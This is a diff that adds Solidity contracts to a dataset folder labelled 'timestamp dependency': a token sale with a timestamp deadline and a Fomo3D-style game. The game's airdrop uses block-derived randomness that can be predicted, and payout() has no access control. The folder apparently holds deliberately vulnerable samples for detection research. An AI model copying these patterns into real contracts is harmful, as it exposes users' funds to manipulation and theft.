(_hasNonNumber == false) + _hasNonNumber = true; + } else { + require + ( + + _temp[i] == 0x20 || + + (_temp[i] > 0x60 && _temp[i] < 0x7b) || + + (_temp[i] > 0x2f && _temp[i] < 0x3a), + "string contains invalid characters" + ); + + if (_temp[i] == 0x20) + require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); + + + if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) + _hasNonNumber = true; + } + } + + require(_hasNonNumber == true, "string cannot be only numbers"); + + bytes32 _ret; + assembly { + _ret := mload(add(_temp, 32)) + } + return (_ret); + } +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b, "SafeMath mul failed"); + return c; + } + + + function sub(uint256 a, uint256 b) + internal + pure + returns (uint256) + { + require(b <= a, "SafeMath sub failed"); + return a - b; + } + + + function add(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + c = a + b; + require(c >= a, "SafeMath add failed"); + return c; + } + + + function sqrt(uint256 x) + internal + pure + returns (uint256 y) + { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) + { + y = z; + z = ((add((x / z),z)) / 2); + } + } + + + function sq(uint256 x) + internal + pure + returns (uint256) + { + return (mul(x,x)); + } + + + function pwr(uint256 x, uint256 y) + internal + pure + returns (uint256) + { + if (x==0) + return (0); + else if (y==0) + return (1); + else + { + uint256 z = x; + for (uint256 i=1; i < y; i++) + z = mul(z,x); + return (z); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/496.sol b/smart_contract_dataset/timestamp dependency/496.sol new file mode 100644 index 0000000000000000000000000000000000000000..7f0181ff70f673369f3c09e91fe7bca1b46fa508 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/496.sol @@ -0,0 +1,90 @@ +pragma solidity ^0.4.24; +contract YellowBetterToken +{ + string public constant name = "Yellow Better"; + string public constant symbol = "YBT"; + uint8 public constant decimals = 18; + uint public constant _totalSupply = 2000000000000000000000000000; + uint public totalSupply = _totalSupply; + mapping(address => uint) balances; + mapping(address => mapping(address => uint)) allowed; + event Transfer(address indexed, address indexed, uint); + event Approval(address indexed, address indexed, uint); + event Burn(address indexed, uint); + constructor() + { + balances[msg.sender] = totalSupply; + } + function sub(uint a, uint b) private pure returns (uint) + { + require(a >= b); + return a - b; + } + function balanceOf(address tokenOwner) view returns (uint) + { + return balances[tokenOwner]; + } + function transfer(address to, uint tokens) returns (bool) + { + balances[msg.sender] = sub(balances[msg.sender], tokens); + balances[to] += tokens; + emit Transfer(msg.sender, to, tokens); + return true; + } + function transferFrom(address from, address to, uint tokens) returns (bool) + { + + balances[from] = sub(balances[from], tokens); + allowed[from][msg.sender] = sub(allowed[from][msg.sender], tokens); + balances[to] += tokens; + emit Transfer(from, to, tokens); + return true; + } + function approve(address spender, uint tokens) returns (bool) + { + allowed[msg.sender][spender] = tokens; + emit Approval(msg.sender, spender, tokens); + return true; + } + function allowance(address tokenOwner, address spender) view returns (uint) + { + return allowed[tokenOwner][spender]; + } + function burn(uint tokens) + { + balances[msg.sender] = sub(balances[msg.sender], tokens); + totalSupply -= tokens; + emit Burn(msg.sender, tokens); + } +} +contract TokenSale +{ + address public creator; + address public tokenContract; + uint public tokenPrice; + uint public deadline; + constructor(address source) + { + creator = msg.sender; + tokenContract = source; + } + function setPrice(uint price) + { + if (msg.sender == creator) tokenPrice = price; + } + function setDeadline(uint timestamp) + { + if (msg.sender == creator) deadline = timestamp; + } + function buyTokens(address beneficiary) payable + { + require( + block.timestamp < deadline + && tokenPrice > 0 + && YellowBetterToken(tokenContract).transfer(beneficiary, 1000000000000000000 * msg.value / tokenPrice)); + } + function payout() + { + creator.transfer(this.balance); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/518.sol b/smart_contract_dataset/timestamp dependency/518.sol new file mode 100644 index 0000000000000000000000000000000000000000..7f36d1c16c2c302e1292f615a0c01256ec1d423f --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/518.sol @@ -0,0 +1,1337 @@ +pragma solidity ^0.4.24; + +contract F3Devents { + + event onNewName + ( + uint256 indexed playerID, + address indexed playerAddress, + bytes32 indexed playerName, + bool isNewPlayer, + uint256 affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 amountPaid, + uint256 timeStamp + ); + + + event onEndTx + ( + uint256 compressedData, + uint256 compressedIDs, + bytes32 playerName, + address playerAddress, + uint256 ethIn, + uint256 keysBought, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount, + uint256 potAmount, + uint256 airDropPot + ); + + + event onWithdraw + ( + uint256 indexed playerID, + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 timeStamp + ); + + + event onWithdrawAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + event onBuyAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethIn, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + event onReLoadAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + event onAffiliatePayout + ( + uint256 indexed affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 indexed roundID, + uint256 indexed buyerID, + uint256 amount, + uint256 timeStamp + ); +} + +contract modularLong is F3Devents {} + +contract SCardLong is modularLong { + using SafeMath for *; + using NameFilter for string; + using F3DKeysCalcLong for uint256; + PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xc873e3646534b2253f324ee7f5f7f5b2a857ba9a); + + + address public ceo; + address public cfo; + string constant public name = "SCard"; + string constant public symbol = "SCARD"; + uint256 private rndExtra_ = 30 seconds; + uint256 private rndGap_ = 30 seconds; + uint256 constant private rndInit_ = 24 hours; + uint256 constant private rndInc_ = 30 seconds; + uint256 constant private rndMax_ = 24 hours; + + uint256 public airDropPot_; + uint256 public airDropTracker_ = 0; + uint256 public rID_; + + mapping (address => uint256) public pIDxAddr_; + mapping (bytes32 => uint256) public pIDxName_; + mapping (uint256 => F3Ddatasets.Player) public plyr_; + mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; + mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; + + mapping (uint256 => F3Ddatasets.Round) public round_; + mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; + + mapping (uint256 => F3Ddatasets.TeamFee) public fees_; + mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; + + + constructor() + public + { + ceo = msg.sender; + cfo = msg.sender; + + fees_[0] = F3Ddatasets.TeamFee(30,0); + + fees_[1] = F3Ddatasets.TeamFee(60,0); + + fees_[2] = F3Ddatasets.TeamFee(20,0); + + fees_[3] = F3Ddatasets.TeamFee(40,0); + + + potSplit_[0] = F3Ddatasets.PotSplit(25,0); + + potSplit_[1] = F3Ddatasets.PotSplit(30,0); + + potSplit_[2] = F3Ddatasets.PotSplit(10,0); + + potSplit_[3] = F3Ddatasets.PotSplit(20,0); + } + + modifier isActivated() { + require(activated_ == true, "Not Active!"); + _; + } + + modifier isHuman() { + address _addr = msg.sender; + require (_addr == tx.origin); + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_addr)} + require(_codeLength == 0, "Not Human"); + _; + } + + modifier isWithinLimits(uint256 _eth) { + require(_eth >= 1000000000, "Too Less"); + require(_eth <= 100000000000000000000000, "Too More"); + _; + } + + + function() + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + uint256 _pID = pIDxAddr_[msg.sender]; + buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); + } + + function modCEOAddress(address newCEO) + isHuman() + public + { + require(address(0) != newCEO, "CEO Can not be 0"); + require(ceo == msg.sender, "only ceo can modify ceo"); + ceo = newCEO; + } + + function modCFOAddress(address newCFO) + isHuman() + public + { + require(address(0) != newCFO, "CFO Can not be 0"); + require(cfo == msg.sender, "only cfo can modify cfo"); + cfo = newCFO; + } + + + function buyXid(uint256 _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + uint256 _pID = pIDxAddr_[msg.sender]; + + if (_affCode == 0 || _affCode == _pID) + { + _affCode = plyr_[_pID].laff; + } + else if (_affCode != plyr_[_pID].laff) + { + plyr_[_pID].laff = _affCode; + } + + _team = verifyTeam(_team); + buyCore(_pID, _affCode, _team, _eventData_); + } + + + function buyXaddr(address _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + uint256 _pID = pIDxAddr_[msg.sender]; + uint256 _affID; + if (_affCode == address(0) || _affCode == msg.sender) + { + _affID = plyr_[_pID].laff; + } + else + { + _affID = pIDxAddr_[_affCode]; + if (_affID != plyr_[_pID].laff) + { + plyr_[_pID].laff = _affID; + } + } + + _team = verifyTeam(_team); + buyCore(_pID, _affID, _team, _eventData_); + } + + function buyXname(bytes32 _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + uint256 _pID = pIDxAddr_[msg.sender]; + uint256 _affID; + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + _affID = plyr_[_pID].laff; + } + else + { + _affID = pIDxName_[_affCode]; + if (_affID != plyr_[_pID].laff) + { + plyr_[_pID].laff = _affID; + } + } + + _team = verifyTeam(_team); + buyCore(_pID, _affID, _team, _eventData_); + } + + + function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + F3Ddatasets.EventReturns memory _eventData_; + + uint256 _pID = pIDxAddr_[msg.sender]; + if (_affCode == 0 || _affCode == _pID) + { + _affCode = plyr_[_pID].laff; + } + else if (_affCode != plyr_[_pID].laff) + { + plyr_[_pID].laff = _affCode; + } + + _team = verifyTeam(_team); + reLoadCore(_pID, _affCode, _team, _eth, _eventData_); + } + + + function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + F3Ddatasets.EventReturns memory _eventData_; + + uint256 _pID = pIDxAddr_[msg.sender]; + uint256 _affID; + if (_affCode == address(0) || _affCode == msg.sender) + { + _affID = plyr_[_pID].laff; + } + else + { + _affID = pIDxAddr_[_affCode]; + if (_affID != plyr_[_pID].laff) + { + plyr_[_pID].laff = _affID; + } + } + _team = verifyTeam(_team); + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + + function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + F3Ddatasets.EventReturns memory _eventData_; + + uint256 _pID = pIDxAddr_[msg.sender]; + uint256 _affID; + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + _affID = plyr_[_pID].laff; + } + else + { + _affID = pIDxName_[_affCode]; + if (_affID != plyr_[_pID].laff) + { + plyr_[_pID].laff = _affID; + } + } + + _team = verifyTeam(_team); + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + + function withdraw() + isActivated() + isHuman() + public + { + uint256 _rID = rID_; + uint256 _now = now; + uint256 _pID = pIDxAddr_[msg.sender]; + uint256 _eth; + + + if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + F3Ddatasets.EventReturns memory _eventData_; + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + _eth = withdrawEarnings(_pID); + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + emit F3Devents.onWithdrawAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eth, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + else + { + _eth = withdrawEarnings(_pID); + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); + } + } + + + function registerNameXID(string _nameString, uint256 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + function registerNameXaddr(string _nameString, address _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + function registerNameXname(string _nameString, bytes32 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + function getBuyPrice() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + uint256 _now = now; + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); + else + return ( 7500000000000000 ); + } + + + function getTimeLeft() + public + view + returns(uint256) + { + uint256 _rID = rID_; + uint256 _now = now; + + if (_now < round_[_rID].end) + if (_now > round_[_rID].strt + rndGap_) + return( (round_[_rID].end).sub(_now) ); + else + return( (round_[_rID].strt + rndGap_).sub(_now) ); + else + return(0); + } + + + function getPlayerVaults(uint256 _pID) + public + view + returns(uint256 ,uint256, uint256) + { + + uint256 _rID = rID_; + + if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + if (round_[_rID].plyr == _pID) + { + return + ( + (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + } + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff + ); + } + } + + function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) + private + view + returns(uint256) + { + return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); + } + + + function getCurrentRoundInfo() + public + view + returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) + { + uint256 _rID = rID_; + + return + ( + round_[_rID].ico, + _rID, + round_[_rID].keys, + round_[_rID].end, + round_[_rID].strt, + round_[_rID].pot, + (round_[_rID].team + (round_[_rID].plyr * 10)), + plyr_[round_[_rID].plyr].addr, + plyr_[round_[_rID].plyr].name, + rndTmEth_[_rID][0], + rndTmEth_[_rID][1], + rndTmEth_[_rID][2], + rndTmEth_[_rID][3], + airDropTracker_ + (airDropPot_ * 1000) + ); + } + + + function getPlayerInfoByAddress(address _addr) + public + view + returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + if (_addr == address(0)) + { + _addr == msg.sender; + } + uint256 _pID = pIDxAddr_[_addr]; + + return + ( + _pID, + plyr_[_pID].name, + plyrRnds_[_pID][_rID].keys, + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff, + plyrRnds_[_pID][_rID].eth + ); + } + + + function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + { + uint256 _rID = rID_; + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + core(_rID, _pID, msg.value, _affID, _team, _eventData_); + } + else + { + + if (_now > round_[_rID].end && round_[_rID].ended == false) + { + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + emit F3Devents.onBuyAndDistribute + ( + msg.sender, + plyr_[_pID].name, + msg.value, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + + + plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); + } + } + + + function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); + core(_rID, _pID, _eth, _affID, _team, _eventData_); + } + + else if (_now > round_[_rID].end && round_[_rID].ended == false) + { + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + emit F3Devents.onReLoadAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + } + + + function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + { + if (plyrRnds_[_pID][_rID].keys == 0) + _eventData_ = managePlayer(_pID, _eventData_); + + + if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) + { + uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); + uint256 _refund = _eth.sub(_availableLimit); + plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); + _eth = _availableLimit; + } + + + if (_eth > 1000000000) + { + + uint256 _keys = (round_[_rID].eth).keysRec(_eth); + + if (_keys >= 1000000000000000000) + { + updateTimer(_keys, _rID); + if (round_[_rID].plyr != _pID) + round_[_rID].plyr = _pID; + if (round_[_rID].team != _team) + round_[_rID].team = _team; + _eventData_.compressedData = _eventData_.compressedData + 100; + } + + + if (_eth >= 100000000000000000) + { + airDropTracker_++; + if (airdrop() == true) + { + uint256 _prize; + if (_eth >= 10000000000000000000) + { + _prize = ((airDropPot_).mul(75)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + airDropPot_ = (airDropPot_).sub(_prize); + _eventData_.compressedData += 300000000000000000000000000000000; + } + else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) + { + _prize = ((airDropPot_).mul(50)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + airDropPot_ = (airDropPot_).sub(_prize); + _eventData_.compressedData += 200000000000000000000000000000000; + } + else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) + { + _prize = ((airDropPot_).mul(25)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + airDropPot_ = (airDropPot_).sub(_prize); + _eventData_.compressedData += 300000000000000000000000000000000; + } + _eventData_.compressedData += 10000000000000000000000000000000; + _eventData_.compressedData += _prize * 1000000000000000000000000000000000; + airDropTracker_ = 0; + } + } + + + _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); + + plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); + plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); + round_[_rID].keys = _keys.add(round_[_rID].keys); + round_[_rID].eth = _eth.add(round_[_rID].eth); + rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); + + _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); + _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); + + endTx(_pID, _team, _eth, _keys, _eventData_); + } + } + + + function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) + private + view + returns(uint256) + { + return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); + } + + + function calcKeysReceived(uint256 _rID, uint256 _eth) + public + view + returns(uint256) + { + uint256 _now = now; + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].eth).keysRec(_eth) ); + else + return ( (_eth).keys() ); + } + + + function iWantXKeys(uint256 _keys) + public + view + returns(uint256) + { + uint256 _rID = rID_; + uint256 _now = now; + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); + else + return ( (_keys).eth() ); + } + + + + function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if (pIDxAddr_[_addr] != _pID) + pIDxAddr_[_addr] = _pID; + if (pIDxName_[_name] != _pID) + pIDxName_[_name] = _pID; + if (plyr_[_pID].addr != _addr) + plyr_[_pID].addr = _addr; + if (plyr_[_pID].name != _name) + plyr_[_pID].name = _name; + if (plyr_[_pID].laff != _laff) + plyr_[_pID].laff = _laff; + if (plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + function receivePlayerNameList(uint256 _pID, bytes32 _name) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if(plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function determinePID(F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + uint256 _pID = pIDxAddr_[msg.sender]; + if (_pID == 0) + { + _pID = PlayerBook.getPlayerID(msg.sender); + bytes32 _name = PlayerBook.getPlayerName(_pID); + uint256 _laff = PlayerBook.getPlayerLAff(_pID); + + pIDxAddr_[msg.sender] = _pID; + plyr_[_pID].addr = msg.sender; + + if (_name != "") + { + pIDxName_[_name] = _pID; + plyr_[_pID].name = _name; + plyrNames_[_pID][_name] = true; + } + + if (_laff != 0 && _laff != _pID) + plyr_[_pID].laff = _laff; + + _eventData_.compressedData = _eventData_.compressedData + 1; + } + return (_eventData_); + } + + function verifyTeam(uint256 _team) + private + pure + returns (uint256) + { + if (_team < 0 || _team > 3) + return(2); + else + return(_team); + } + + function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + + if (plyr_[_pID].lrnd != 0) + updateGenVault(_pID, plyr_[_pID].lrnd); + + plyr_[_pID].lrnd = rID_; + + _eventData_.compressedData = _eventData_.compressedData + 10; + + return(_eventData_); + } + + + function endRound(F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + + uint256 _rID = rID_; + + uint256 _winPID = round_[_rID].plyr; + uint256 _winTID = round_[_rID].team; + + uint256 _pot = round_[_rID].pot; + + uint256 _win = (_pot.mul(55)) / 100; + uint256 _com = (_pot / 20); + uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; + uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; + uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); + if (_dust > 0) + { + _gen = _gen.sub(_dust); + _res = _res.add(_dust); + } + + plyr_[_winPID].win = _win.add(plyr_[_winPID].win); + + _com = _com.add(_p3d); + cfo.transfer(_com); + + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); + _eventData_.winnerAddr = plyr_[_winPID].addr; + _eventData_.winnerName = plyr_[_winPID].name; + _eventData_.amountWon = _win; + _eventData_.genAmount = _gen; + _eventData_.P3DAmount = _p3d; + _eventData_.newPot = _res; + + rID_++; + _rID++; + round_[_rID].strt = now; + round_[_rID].end = now.add(rndInit_).add(rndGap_); + round_[_rID].pot = _res; + + return(_eventData_); + } + + + function updateGenVault(uint256 _pID, uint256 _rIDlast) + private + { + uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); + if (_earnings > 0) + { + plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); + plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); + } + } + + + function updateTimer(uint256 _keys, uint256 _rID) + private + { + uint256 _now = now; + uint256 _newTime; + if (_now > round_[_rID].end && round_[_rID].plyr == 0) + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); + else + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); + + if (_newTime < (rndMax_).add(_now)) + round_[_rID].end = _newTime; + else + round_[_rID].end = rndMax_.add(_now); + } + + + function airdrop() + private + view + returns(bool) + { + uint256 seed = uint256(keccak256(abi.encodePacked( + + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add + (block.number) + + ))); + if((seed - ((seed / 1000) * 1000)) < airDropTracker_) + return(true); + else + return(false); + } + + + function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + returns(F3Ddatasets.EventReturns) + { + + uint256 _com = _eth / 20; + + uint256 _aff = _eth / 10; + + if (_team == 0 ) { + _aff = _eth.mul(30) / 100; + } + + + if (_affID != _pID && plyr_[_affID].name != '') { + plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); + emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); + } else { + _com = _com.add(_aff); + } + + cfo.transfer(_com); + + return(_eventData_); + } + + function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) + private + returns(F3Ddatasets.EventReturns) + { + uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; + + + uint256 _air = (_eth / 20); + airDropPot_ = airDropPot_.add(_air); + if (_team == 0){ + _eth = _eth.sub(((_eth.mul(40)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); + }else{ + _eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); + } + + uint256 _pot = _eth.sub(_gen); + + uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); + if (_dust > 0) + _gen = _gen.sub(_dust); + + round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); + + _eventData_.genAmount = _gen.add(_eventData_.genAmount); + _eventData_.potAmount = _pot; + + return(_eventData_); + } + + + function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) + private + returns(uint256) + { + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); + plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); + + return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); + } + + + function withdrawEarnings(uint256 _pID) + private + returns(uint256) + { + 